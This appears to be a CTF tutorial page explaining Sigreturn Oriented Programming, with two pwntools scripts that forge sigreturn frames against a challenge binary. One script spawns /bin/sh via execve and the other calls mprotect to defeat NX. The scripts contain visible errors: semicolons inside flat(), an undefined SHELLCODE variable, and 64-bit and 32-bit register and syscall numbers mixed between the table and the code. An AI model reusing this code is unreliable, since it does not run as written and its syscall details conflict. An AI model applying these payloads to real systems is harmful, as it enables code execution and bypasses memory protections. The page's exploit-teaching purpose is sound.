# Sigreturn Oriented Programming - SROP

A **sigreturn** is a special type of [syscall](https://www.ctfrecipes.com/pwn/general-knowledge/syscall).

When this instruction is executed, **the kernel reads the values of the registers and the stack pointer** from a structure **that is stored on the stack**. This structure is typically referred to as a "signal context" or "sigcontext" structure.

**Once the signal is unblocked, all the values are popped** in order to restore the original registers values.

## Exploitation

At the end of the sigreturn instruction, the sigcontext is popped in order to restore the registers. If the stack is controlled (using [buffer overflow](https://www.ctfrecipes.com/pwn/stack-exploitation/stack-buffer-overflow) for example), all the registers can be controlled as well.

{% hint style="danger" %}
In order to work, this technique need a gadget that make : **`syscall ; ret`**
{% endhint %}

Sigreturn-oriented programming (SROP) is a technique similar to [return-oriented programming ](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/return-oriented-programming-rop)(ROP), since it will use gadget in order to execute a sigreturn. However, **often just few gadget is needed to successfully put this attack into effect.**

An `execve` call can be done by injected values into the registers using sigreturn :

| Register | value                         |
| -------- | ----------------------------- |
| `rip`    | `syscall` instruction address |
| `eax`    | `0x3b` (`execve` syscall)     |
| `ebx`    | address of `/bin/sh`          |
| `ecx`    | `0x0` (NULL)                  |
| `edx`    | `0x0` (NULL)                  |

This can be done using pwntool :

```python
from pwn import *

elf = context.binary = ELF('./chall', checksec=False)
p = process()

BINSH = elf.address + 0x1242
POP_EAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.eax = 0x0b            # syscall number for execve
frame.ebx = BINSH           # pointer to /bin/sh
frame.ecx = 0x0             # NULL
frame.edx = 0x0             # NULL
frame.eip = SYSCALL_RET

payload = flat( b'A' * 8;
                POP_EAX,
                0x77,      # syscall number for sigreturn
                SYSCALL_RET,
                frame
                )

p.sendline(payload)
p.interactive()
```

## Disable stack protection

Using sigreturn it's also possible to disable le flag [**NX**](https://www.ctfrecipes.com/pwn/protections/no-execute) **:**

```python
from pwn import *

elf = context.binary = ELF('./chall', checksec=False)
p = process()

BINSH = elf.address + 0x1242
POP_EAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.eax = 0x7d            # syscall number for memprotect
frame.ebx = SHELLCODE           # address where the shellcode will be injected
frame.ecx = 0x1000             # memory length
frame.edx = 0x07            # flag
frame.eip = SYSCALL_RET

payload = flat( b'A' * 8;
                POP_EAX,
                0x77,      # syscall number for sigreturn
                SYSCALL_RET,
                frame
                )

p.sendline(payload)
p.interactive()
```

Using this, if there is a possible injection at the targeted memory, the injected shellcode will be executed even if NX has been setup.
